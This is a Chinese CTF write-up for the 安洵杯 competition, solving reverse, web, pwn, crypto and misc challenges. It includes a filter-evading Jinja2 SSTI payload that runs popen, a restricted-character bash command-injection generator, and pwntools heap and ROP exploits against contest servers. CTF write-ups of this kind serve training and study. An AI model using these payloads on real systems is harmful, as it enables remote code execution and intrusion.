安洵杯 WriteUp - CNSS

Reverse

debugging

输入用blowfish-compat加密,keysize64,blocksize64,ECB,key=b’who_am_i’

随后进入VM,VM里就hexlify了一下,reverse了一下,然后加了一些偏置常数与目标比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from binascii import unhexlify

dst = [0x356332F6,
0x36653794,
0x383537AF,
0x39316887,
0x65303954,
0x61653B59,
0x33396F40,
0x39386C82,
0x31386840,
0x37333FDA,
0x363139D6,
0x66654299,
0x326440F8,
0x37373C61,
0x64333DE0,
0x30367171]

bias = [0xc4, 0x330, 0x24c, 0x350, 0x424, 0x4f8, 0xb0c, 0x620,
0x708, 0xf78, 0x9a0, 0x1260, 0x9c0, 0xb28, 0xca8, 0xe40]

for i in range(16):
dst[i] -= bias[i]

result = []
for each in dst:
for i in range(4):
result.append((each >> (i*8)) & 0xff)

result = bytearray(result)
result = result[::-1]

fish_raw = b''
for i in range(8):
for j in range(3, -1, -1):
fish_raw += result[8*i+2*j:8*i+2*(j+1)]
print(fish_raw)

# dec = blowfish_compat_decrypt(raw=fish_raw, key=b'who_am_i')
# <http://blowfish-compat.online-domain-tools.com/>

dec = b'3g0d6f0{5ac74e9b47c703880cc9}d12'

final = b''
for i in range(8):
for j in range(3, -1, -1):
final += dec[4*i+j:4*i+(j+1)]
print(final)

anxun3

稍微调试了一下发现就是简单的字符串比较,拼接起来就ok

1
d0g3wi11bem0r3m0r3b3tt3r

easy_android

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
def trans2(m):
result = [0] * 20
for i in range(20):
j = m[i] % 20
while result[j]:
j += 1
j %= 20
result[j] = m[i]
return result

def trans1(m):
xor_tbl1 = [0xaa,0xbb,0xcc,0xdd]
for i in range(4):
m[i] ^= xor_tbl1[i]
m[i] += 1
#print(m)
total = m[0] + m[1] + m[2] + m[3]
choice = total % 3
if choice == 0:
print('error')
exit(1)
pass
elif choice == 1:
print('error')
exit(1)
elif choice == 2:
m[4] += 5
tbl2 = [0xb1, 0x27, 0x39, 0x1f, 0x4d, 0x87, 0xed, 0xc6, 0x3b, 0xf8, 0x5c, 0x67, 0xa0, 0x41]
for i in range(14):
m[i] ^= tbl2[i%7]
m[19]^=m[4]

return m

def rev_trans1(m):
m[19]^=m[4]
tbl2 = [0xb1, 0x27, 0x39, 0x1f, 0x4d, 0x87, 0xed, 0xc6, 0x3b, 0xf8, 0x5c, 0x67, 0xa0, 0x41]
for i in range(14):
m[i] ^= tbl2[i%7]
m[4] -= 5
m[4] &= 0xff
xor_tbl1 = [0xaa,0xbb,0xcc,0xdd]
for i in range(4):
m[i] -= 1
m[i] &= 0xff
m[i] ^= xor_tbl1[i]
return m

m = [ord(c) for c in 'd0g3'+'1'*16]

由于trans2不可逆,把上面这个脚本通过腾讯QQ发送获得flag。

EasyCM

0x41E000在程序跑起来之后会被修改(SMC),跑起来之后dump一份出来丢IDA可以看到逻辑,这是个魔改了的base64:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl sub_41E000(int idx, char *a2, char *tbl, char *a4)
{
int result; // eax
_BYTE v5[64]; // [esp+14h] [ebp-40h] BYREF

memset(v5, 0xCCu, sizeof(v5));
a4[4 * ((int)a2 / 3)] = tbl[((4 * (a2[idx + 2] & 3)) | a2[idx + 1] & 0x30 | a2[idx] & 0xC0) >> 2];
a4[4 * ((int)a2 / 3) + 1] = tbl[((4 * (a2[idx] & 3)) | a2[idx + 2] & 0x30 | a2[idx + 1] & 0xC0) >> 2];
a4[4 * ((int)a2 / 3) + 2] = tbl[((4 * (a2[idx + 1] & 3)) | a2[idx] & 0x30 | a2[idx + 2] & 0xC0) >> 2];
result = (int)a2 / 3;
a4[4 * ((int)a2 / 3) + 3] = tbl[(a2[idx + 2] & 0xC | (4 * a2[idx + 1]) & 0x30 | (16 * a2[idx]) & 0xC0) >> 2];
return result;
}

sub_415ee0下面有一个循环:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void sub_415EE0()
{
CHAR *v0; // [esp+Ch] [ebp-D0h]
CHAR *v1; // [esp+Ch] [ebp-D0h]
int i; // [esp+D4h] [ebp-8h]

dword_423000 = j_strlen(Str);
if ( dword_423000 % 3 == 1 )
{
v0 = &Str[dword_423000++];
wsprintfA(v0, "-");
}
else if ( dword_423000 % 3 != 2 )
{
goto LABEL_6;
}
v1 = &Str[dword_423000++];
wsprintfA(v1, "-");
LABEL_6:
for ( i = 0; i < dword_423000; i += 3 )
{
sub_411546();
sub_41151E((int)Str, i, dword_4233C8, (int)Str2); // 调用sub_41E000编码三个字符
sub_4113A2(); // 修改table,table=table[1:] + table[0],然后进入下一轮编码下三个字符
}

最终的编码结果在sub_415880中比较,j_strcmp(aZ4, Str2); ,aZ4在sub_415300被修改了下,算回去可以得到最终编码结果应该为:

1
2
3
4
5
Python>a = [idaapi.get_byte(i) for i in range(0x4230A8,0x04230C8)]
Python>b = [idaapi.get_byte(0x4230cc+i) for i in range(len(a))]
Python>c = [a[i] ^ b[i] for i in range(len(a))]
Python>bytearray(c)
bytearray(b'gJZSOdhLOfSHjTZ0beYRQflLQfkllkhD')

据此写解题脚本即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from z3 import *

tbl = 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/A'
dst = 'gJZSOdhLOfSHjTZ0beYRQflLQfkllkhD'

def enc_round(a,b,c):
result = [0] * 4
result[0] = LShR(((4 * (c & 3)) | b & 0x30 |a & 0xC0), 2)
result[1] = LShR((4 * (a & 3)) | c & 0x30 | b &0xC0, 2)
result[2] = LShR((4 * (b & 3)) | a & 0x30 | c &0xC0, 2)
result[3] = LShR((c & 0xC | (4 * b) & 0x30 | (16 * a) & 0xC0), 2)
return result

def rev_pos(result):
global tbl
return [tbl.find(each) for each in result]

def main():
global tbl, dst
flag = []
for rd in range(len(dst)//4):
# print(tbl)
m = [BitVec(f'f{i}', 8) for i in range(3)]
ret = enc_round(*m)

result = rev_pos(dst[rd*4:(rd+1)*4])
s = Solver()

for i in range(4):
s.add(ret[i] == result[i])

assert s.check() == sat

flag += [s.model()[each].as_long() for each in m]
tbl = tbl[1:] + tbl[0]
print(bytearray(flag).decode())

if __name__ == '__main__':
main()

Web

normal-ssti

过滤了很多 {{}} , if , . , _ , ' , [],request, globals

. 可以用 |attr() 绕过

[ ]可以用pop 函数绕过

可以用 {%print%}

加号没过滤,可以用%2B

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
_ = '"{0:c}"|attr("fo"%2B"rmat")(95)'
g = '"{0:c}"|attr("fo"%2B"rmat")(103)'
add = "%2B"

def gen_str(s):
s_code = []
for i in s:
if i == "_":
s_code += [_]
elif i == "g":
s_code += [g]
else:
s_code += ['"' + i + '"']
return add.join(s_code)

if __name__ == "__main__":
print(gen_str("__class__"))
print(gen_str("__base__"))
print(gen_str("__subclasses__"))
print(gen_str("__init__"))
print(gen_str("__globals__"))
print(gen_str("__getitem__"))

payload:

1
{%print+{}|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"c"%2B"l"%2B"a"%2B"s"%2B"s"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"b"%2B"a"%2B"s"%2B"e"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"s"%2B"u"%2B"b"%2B"c"%2B"l"%2B"a"%2B"s"%2B"s"%2B"e"%2B"s"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))()|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(103)%2B"e"%2B"t"%2B"i"%2B"t"%2B"e"%2B"m"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))(133)|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"i"%2B"n"%2B"i"%2B"t"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(103)%2B"l"%2B"o"%2B"b"%2B"a"%2B"l"%2B"s"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))|attr("{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(103)%2B"e"%2B"t"%2B"i"%2B"t"%2B"e"%2B"m"%2B"{0:c}"|attr("fo"%2B"rmat")(95)%2B"{0:c}"|attr("fo"%2B"rmat")(95))("popen")("cat+/fla"%2B"{0:c}"|attr("fo"%2B"rmat")(103))|attr("read")()%}

Bash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
if(isset($_POST["cmd"]))
{
$test = $_POST['cmd'];
$white_list = str_split('${#}\\\\(<)\\'0');
$char_list = str_split($test);
foreach($char_list as $c){
if(!in_array($c,$white_list)){
die("Cyzcc");
}
}
exec($test);
}
?>

只用 $ { # } \ ( < ) ’ 0 执行命令 无回显

https://hack.more.systems/writeup/2017/12/30/34c3ctf-minbashmaxfun/

https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
code = ["$#", "${##}"]
char = r"\\\\$(($((${##}<<${##}))#%s))"
cmd = r" ${0}<<<${0}\\<\\<\\<\\$\\'%s\\'"
command = "cat /flag > ./output"

def gen_char(ch):
s = ""
for i in ch:
o = oct(ord(i)).lstrip('0o')
b = bin(int(o)).lstrip('0b')
b_code = ""
for a in b:
b_code += code[int(a)]
s += char % b_code
return s

def gen_cmd(m):
s = gen_char(m)
return cmd % s

if __name__ == "__main__":
print(gen_cmd(command))

发送生成的命令,访问 output 即可

1
2
3
4
5
6
7
8
9
10
11
12
cmd = '''xxx'''
res = []
for i in cmd:
i = bin(int(oct(ord(i))[2:]))[2:]
i = i.replace("0", "${#}")
i = i.replace("1", "${##}")
i = "$(($((${##}<<${##}))#"+i+"))"
i = "\\\\$\\\\'\\\\\\\\"+i+"\\\\'"
print(i)
res.append(i)

print(("${0}<<<${0}\\<\\<\\<"+"".join(res)))

Pwn

IO_FILE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
#r = process('./IO_FILE')
r = remote('47.108.162.43',20102)
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']

rn = lambda n : r.recv(n)
ra = lambda : r.recv()
ru = lambda s : r.recvuntil(s)
rl = lambda : r.recvline()
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)

def add(size,content):
ru(">")
sl("1")
ru("size:")
sl(str(size))
ru("description:")
sd(content)

def free(idx):
ru(">")
sl("2")
ru("index:")
sl(str(idx))

add(0x68,'a')

add(0xf8,'b')
add(0x18,'/bin/sh\\x00')
for _ in range(8):
free(1)

free(0)
free(0)

add(0x68,p64(0x602018))
add(0x68,p64(0x602018))
add(0x68,p64(0x400640))#5

add(0x28,'a'*8)#6
free(6)

rn(8)
libc = u64(rn(6).ljust(8,b'\\x00'))
add(0xf8,'bbbb')#7
add(0xf8,'dddd')#8
add(0xf8,p64(libc-0x00007fd49f9ecca0+0x7fd49f638000+0x42510))#9
#gdb.attach(r)
free(2)

r.interactive()

Web Server

构造ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
import requests
import json
import time

context.log_level = 'debug'
context.arch = "amd64"
context.terminal=["open-wsl.exe","-c"]
#url = "<http://axb.d0g3.cn:20100>"

#p = process("./web-server")
p = remote('axb.d0g3.cn', 20100)

elf = ELF("./web-server")

def post_data(url, data):
template = b'POST / HTTP/1.1\\r\\ncontent-length: '
template += str(len(data)).encode()
template += b'\\r\\n\\r\\n'
template += data

#data = str(data)[2:-1]
#template = 'POST {} HTTP/1.1\\r\\ncontent-length: {}\\r\\n\\r\\n {}'.format(url, len(data), data)
p.send(template)

# 0x000000000040ff5a : mov rdx, rbx ; jmp 0x40fec1 (pop *9)
mov_rdx_rbx_pop_9 = 0x000000000040ff5a
pop_r13_ret = 0x00000000004038d7
mov_rax_r13_pop_2 = 0x0000000000410350
jmp_rdi = 0x00000000004139ad
pop_rdi = 0x0000000000403f48
pop_rsi = 0x0000000000406517
pop_rbx = 0x000000000040403e
pop_r8_pop_3 = 0x000000000040478e
rwx_addr = 0x800000

# 0x00000000004080b3 : pop rcx ; idiv edi ; jmp qword ptr [rsi + 0xf]

def main():
#gdb.attach(p, 'b *0x410804\\nc')
bss_addr = 0x418280

payload = b'a'*(0x520+8)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss_addr)
payload += p64(pop_rbx) + p64(0x30)
payload += p64(mov_rdx_rbx_pop_9) + p64(0)*9
payload += p64(elf.plt['read'])

payload += p64(pop_rdi) + p64(bss_addr)
payload += p64(pop_rsi) + p64(0)
payload += p64(elf.plt['open'])

fd = 3
payload += p64(pop_rdi) + p64(fd)
payload += p64(pop_rsi) + p64(bss_addr+8)
payload += p64(pop_rbx) + p64(0x30)
payload += p64(mov_rdx_rbx_pop_9) + p64(0)*9
payload += p64(elf.plt['read'])

payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi) + p64(bss_addr+8)
payload += p64(pop_rbx) + p64(0x30)
payload += p64(mov_rdx_rbx_pop_9) + p64(0)*9
payload += p64(elf.plt['write'])

post_data('/', payload)

time.sleep(1)
p.send('./flag')

p.interactive()
if __name__ == "__main__":
main()

Crypto

密码学?爆破就行了

6位16进制爆破,(真就爆破)

即枚举所有未知字符,观察flag可知字典范围是数字及小写字母a,b,c,d,e,f

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import hashlib

s = '1234567890abcdef'
broken_md5 = '71b2b5616{}{}2a4639{}{}7d979{}{}de964c'
ciphier = '0596d989a2938e16bcc5d6f89ce709ad9f64d36316ab80408cb6b89b3d7f064a'

for a in s:
for b in s:
for c in s:
for d in s:
for e in s:
for f in s:
flag = 'd0g3{' + broken_md5.format(a, b, c, d, e, f) + '}'
if str(hashlib.sha256(flag.encode()).hexdigest()) == ciphier:
print(flag)
exit()

easyaes

显然hint有256位,前128位异或key=后128位

所以key=前128位异或后128位

key=d0g3{welcomeyou}

1
2
3
4
tmp=56631233292325412205528754798133970783633216936302049893130220461139160682777;
hint = tmp >> 128;
key = tmp & ((1<<128)-1) ^ hint
print(long_to_bytes(key))

AES-CBC加密包括先将原文分成多块,每块16位。先将明文m异或偏移量IV,再用key加密得到密文,密文作为下一块的偏移量IV。

考虑逆向这个过程

如果随意找一个fakeIV解密,显然会得到m xor IV xor fakeIV,再异或上m和fake IV就可以求出IV(上一块的密文)

现在已知最后一块的密文,所有明文,故可以依次解密,算出真正的IV。

flag=d0g3{aEs_1s_SO0o_e4sY}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python
from Crypto.Cipher import AES
import binascii

def xor(a, b):
ret = ''
for i in range(len(a)):
ret += chr(ord(a[i]) ^ ord(a[i]))
return ret

# tmp=56631233292325412205528754798133970783633216936302049893130220461139160682777;
# hint = tmp >> 128;
# key = tmp & ((1<<128)-1) ^ hint
# print(long_to_bytes(key))

key = 'd0g3{welcomeyou}'
LENGTH = len(key)
assert LENGTH == 16

msg = b'Welcome to this competition, I hope you can have fun today!!!!!!'

fakeIV = 'a'*16;

c = binascii.unhexlify('3c976c92aff4095a23e885b195077b66')
m = msg[-16:]
aes = AES.new(key, AES.MODE_CBC, fakeIV)
iv = xor(xor(aes.decrypt(c),fakeIV),m)

c = iv
m = msg[-32:-16]
aes = AES.new(key, AES.MODE_CBC, fakeIV)
iv = xor(xor(aes.decrypt(c),fakeIV),m)

c = iv
m = msg[-48:-32]
aes = AES.new(key, AES.MODE_CBC, fakeIV)
iv = xor(xor(aes.decrypt(c),fakeIV),m)

c = iv
m = msg[-64:-48]
aes = AES.new(key, AES.MODE_CBC, fakeIV)
iv = xor(xor(aes.decrypt(c),fakeIV),m)

print(iv)

easyrsa

首先找到变成正常Python代码的映射:

1
{'c': 'f', 'g': 'r', 'f': 'o', 'n': 'm', 'B': 'C', 'r': 'y', 'o': 'p', 'y': 't', 'H': 'U', 'd': 'i', 'e': 'l', 'l': 'g', 't': 'e', 'O': 'P', 'w': 'n', 'h': 'u', 's': 'b', 'p': 's', 'u': 'h', 'b': 'c', 'j': 'a', 'z': 'w', 'k': 'd'}

变成正常代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python
from Crypto.Util.number import getPrime
import gmpy2

# --------------challenge 1-------------
p = getPrime(1024)
x = getPrime(1024)
e = getPrime(16)
n = p*x
phi = (x-1) * (p-1)
c = gmpy2.powmod(m,e,n)
hint1 = 2 * d + 246810 * e * phi
print(n)
print(c)
print(hint1)

# --------------challenge 2-------------
p = getPrime(4096)
r = getPrime(4096)x
x = m
e = 0x10001
hint2 = bytes_to_long(hint2)
n = p*x*r
c = gmpy2.powmod(hint2,e,n)
print(n)
print(p)
print(c)

# --------------challenge 3-------------
m = bytes_to_long(flag)
x = getPrime(1024)
p = getPrime(1024)
n = x*p
e = 5
c = pow(m,e,n)
print(n)
print(c)

其次,challenge2中的n我们可以使用下面的网站进行分解:

factordb.com

分解后可得x和r:

1
2
x = 234702123
r = 825745527393875213112416399161876312807690899587680405323661594634206777626830009225425708368452900127898718079772635289577153999013886667961217430074282603941419231606982549262875927598587116257227403646863891999503669499691226452373375235370860079746071677621652251885930328523487781646712042859931782618220703334721235289166285140690745773731238255224060549452664943877872987321262039002730465087234720391689961341109105478873987526603600402429600189003498632775079541462166163941851848765036872700541100390593375609399046693728399625801469156502270197170371875324720480650306785436605155686110619524005509832014145815734269685871332335544226747535167347621137129026799054475196918117687928602288868853220954790928729951229529274652854752754075975718778340195177601007255969037312694713797288603741759269754480872584968304627973646008573027346743614653988753674721004169739334587145202207452102165404828315977860122216069411238549765007288548786956279851184761238592429597293858204186200925553719690039361569082671701947951613715432578165026545428849347274156827008272891661068698821932170724135412872216787954099301438985821980885240717232218707592014222715174630839806063753862210894420887328995052744595750340725332465581373047

据此我们可以求出hint2:

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *
import gmpy2

n = 133561991523711714238641512987809330530212246892569593026319411449791084194115873781301422593495806927875828290629679020098834182528012835469352471635087375406306534880352693134486855968468946334439553553593196889196239169351375517588892769598963002098115826389220099548938169095670740942251209102500450728442583559710183771974489284632651296188035458586935211952691589627681567274801028577256215269233875203212438263987034556969968774119389693056239796736659926866707857937025200924828822267781445721099763436020785585453958594470906716195030613615725126057391084801585533926767137218524047259398886392592317910204988634868663634415285507325190415658931169841182499733179254162060738994027842088553562013488445789594342451823783136881968032197575016845492231433684884872631894561254381663562267075103417879327236182565223877901300392217967589154857009356640377622996801781797109089687661697856930394706016954531077165127402008444818092498106642068414208190583373314287381712963712098566595399301400378116274132918572709221391531621228936206630829355801192700264684469488261781954165940553346889395507153750291402535330239420975542926664420153925171757944018621411265539452424569343708318070259746118326558005521868356304582694159507379335214599839668805877215983938986674084063185863612335339836810044252829401409522709997562887276661672718820881541500852400369184737236082178767653725044900394959369367604992512713490494168594433000695046297712977059205623777990102604073885527049867682390577577616773090662829024271568456346362315351643767420198116229892060385453123572533267805396437865025639093881944841521458804810097550625853182396288247815370818578103543117466070812804267915674186488979548392193291727228018246788487524292081389142018151246889408421936865224469589631518283230229213787648552632437566756058034131355439709320923876063030896228165897498746898125821639893238387694549304110003941329763552493326245073779912107372271854798616245416264801377068163622812994786201580895459712414134184992440395336131037558976058298521312536969408724436512019410835904564817724243688308776888170183074838453466914170790840559860531933430176605716828492670093771129301541861534595181565621644268739349035133062776852304594204220291667924128313579203359827093150911871520605180797438668872585571501531844999598674037998642821148417473110716470439750642781609483016636419373004760601783594025036152924259863627732874940148083408474700265895269165869619971810103499607445649821
p = 689159326758330864205993810270646658558112329195746149991184055909755461246626153920231796960903018393806410715812453949253930576368274228434916375544579284365205241766136566047482065208442992856658212126772417415403473480889927931481129434854332858754668120563818975006384512615022532233244596546830392476321031156328699572283946257730515089543367929326280871305776349305346159311591820455943842203357066465523558715870586535188343603460826231817622511283563179065036619023415848694281294463836320838105950552498785365535923041927491743402053568747113507098917091780797009380675587381805253390649630338055131031679595664055361678114747608302944715308343764678875659039394225950479683967885912291399162609094622980318391045105733088508798371414996479107970975717563552614856114065668728607215268431341079233630995168600896375314067716366181300081684353583326214062788182429536300917720999423489104723824360299238754986351169209709892739317096741609428484854087163771300777717883057028145424827875496235567904291417092378448353222179114362314382900648079547647848024440220204768433974038004942869937932015294078073975703156613070125753344841550872429670559866184492945262960524545894823245933714684747784492095876370443994948425495841
c = 65553658155452064459040687299632299415295760116470555100400688788937893101658136830409082198753928673469636810831761104117535054304536941814523449491308187105740319828511969750359402834799486354958723098881095067882833993358468923611118977258293638107874383059048015701807718209929028151240509801801995570592890519253676774278321334154528938199389248563657673061299152526380072934917964488153875744843855913524788571997024947738868563951687976817548296078497817264410193882661874749304071168979787307490320366615899942861059615405569154961435894469325778407081182151320629413711622905703628430999201763846682516985530373643176026602901129520439581385946775511292435206913016381293219606333035648747877313424616408338829137581998558399694071257787294948211441360283876078405831210625321012072477187438320944119825970347654743794743846351762763177440045084761025728597526592892602263484022280653040195670941221493307430623213388669939114424884078502946247136016528925968280034099568454876076717790529204207317485416329062672971939549478648687894958552760953682796211975576320713576155031581257782352223857605149825435939889497465805857339911597479498085071301601506276220487493620870555545057189236870008182212284992968466451864806648279032294546676543599599279519394341289357968292292966055189578253350591765186079486142930848439238134776982658066494378507873003509820326863340562093906137812952544399266821679905073464535234547335867090392493005792528534561846391285698943396889671437127470587837989050518266365099789392584686615435440486086402941357614369171354355307532351370775920044953381482310949663868493911752104873824099597326393857349237228788875273525189373323552519106738497767546337587947368062413334887230166285909705065920918078052826480092129173127887307158867274895914733110276134124505178182548094607594799978378381804502097507167978950926067243870989514735314054362049917668015341349933704885009878192354865067520219676784278082055728039064858769077997521541853184489175120623176481708269464933868222226748491078319156602229948646960513946846417957356535995079525993783278312017766715177078804065822913241465133977233398851120059496221650357891946344151601586169979516826622503491746992282716591488199657450776596383692706657692673860134555990821730412919497018889046615548520878486492644159735144935329502984929679831356967030870226422768447430410031028770529758721438528263719267616233686813781828066547393953352033364851486926368090757420184816634373721
x = 234702123
r = 825745527393875213112416399161876312807690899587680405323661594634206777626830009225425708368452900127898718079772635289577153999013886667961217430074282603941419231606982549262875927598587116257227403646863891999503669499691226452373375235370860079746071677621652251885930328523487781646712042859931782618220703334721235289166285140690745773731238255224060549452664943877872987321262039002730465087234720391689961341109105478873987526603600402429600189003498632775079541462166163941851848765036872700541100390593375609399046693728399625801469156502270197170371875324720480650306785436605155686110619524005509832014145815734269685871332335544226747535167347621137129026799054475196918117687928602288868853220954790928729951229529274652854752754075975718778340195177601007255969037312694713797288603741759269754480872584968304627973646008573027346743614653988753674721004169739334587145202207452102165404828315977860122216069411238549765007288548786956279851184761238592429597293858204186200925553719690039361569082671701947951613715432578165026545428849347274156827008272891661068698821932170724135412872216787954099301438985821980885240717232218707592014222715174630839806063753862210894420887328995052744595750340725332465581373047
phi = 2*78234040*(r-1)*(p-1)
d = gmpy2.invert(65537, phi)
hint2 = pow(c, d, n)
print (long_to_bytes(hint2))

hint2是:

1
b'Flag is a 764-length number that starts with "11239443406846515682004397310032293056196968050880696884154193656922259582646354037672076691689208477252910368708578177585615543361661522949580970926775441873118707711939955434559752380028881505457190152150478041765407640575502385319246850488337861927516356807100066882854088505873269444400308838674080495033363033991690519164414435127535585042743674610057871427247713644547353814013986225161074642240309387099685117406015368485154286173113005157000515600312732288515034433615484030112726976498694980213882676667079898254165734852012201534408980237760171665298653255766622300299965621344582683558980205175837414319653422202527631026998128129244251471772428535748417136102640398417683727976117490109918895485047", and CYZ says he can solve the problem if he was given two more numbers'

根据提示信息,很明显是coppersmith攻击的一种,sage脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *
flag = 11239443406846515682004397310032293056196968050880696884154193656922259582646354037672076691689208477252910368708578177585615543361661522949580970926775441873118707711939955434559752380028881505457190152150478041765407640575502385319246850488337861927516356807100066882854088505873269444400308838674080495033363033991690519164414435127535585042743674610057871427247713644547353814013986225161074642240309387099685117406015368485154286173113005157000515600312732288515034433615484030112726976498694980213882676667079898254165734852012201534408980237760171665298653255766622300299965621344582683558980205175837414319653422202527631026998128129244251471772428535748417136102640398417683727976117490109918895485047000000000000000000000000000000000000000000000000000000
n = 14857387925078594782296815160632343246361073432459148990826882280149636079353743233970188012712079179396872746334143946166398665205889211414809061990804629906990919975187761209638578624750977626427334126665295876888197889611807587476285991599511809796600855689969285611439780660503760599419522224129074956376232480894299044645423966132497814477710701209588359243945406653547034819927990978087967107865071898215805154003530311865483912924517801551052430227039259201082691698480830966567550828053196299423168934840697637891311424286534363837640448614727396254288829197614805073711893711252067987576745683317789020760081
c = 14035143725862612299576867857272911865951893239411969382153274945929406881665641140566462510177132511558933111728871930062074990934496715765999564244916409345156132996227113853067808126894818934327468582686975383715892108247084995817427624992232755966398834682079985297050358462588989699096264155802168300026093598601350106309023915300973067720164567785360383234519093637882582163398344514810028120555511836375795523327469278186235781844951253058134566846816114359878325011207064300185611905609820210904126312524631330083758585084521500322528017455972299008481301204209945411774541553636405290572228575790342839240414
e = 5

kbits=200
PR.<x> = PolynomialRing(Zmod(n))
f = (x + flag)^e-c
x0 = f.small_roots(X=2^kbits, beta=1)[0]
flag += x0
print(long_to_bytes(flag))

求得flag。

Misc

签到

扫码进公众号,由文件名提示发送fl4g得到回复:

链接:

https://share.weiyun.com/bKjXMcZJ 密码:d0g3

这并不是emojicode哦,而是一种“很基础”的编码,如果答对了,CyzCC就给你100分.

拿到的docx文档:

V1cuna hides the flag, try to be concentrate on getting the score from CyzCC

🐻🐧👞🐪👲👎👜👣👚🐧👤👖🐸👅👛👖🐿🐨👋👖👣👠🐾👟👫🐨👰👴

http://www.atoolbox.net/Tool.php?Id=937

用这个网址解码就行了

王牌特工

解压出来一个 ext3 挂载上有两个文件

key:a_cool_key

use Veracrypt

解密出来是 fake flag

直接 strings 硬盘镜像

真的密码:this_is_a_true_key

再用 Veracrypt 解密出真的 flag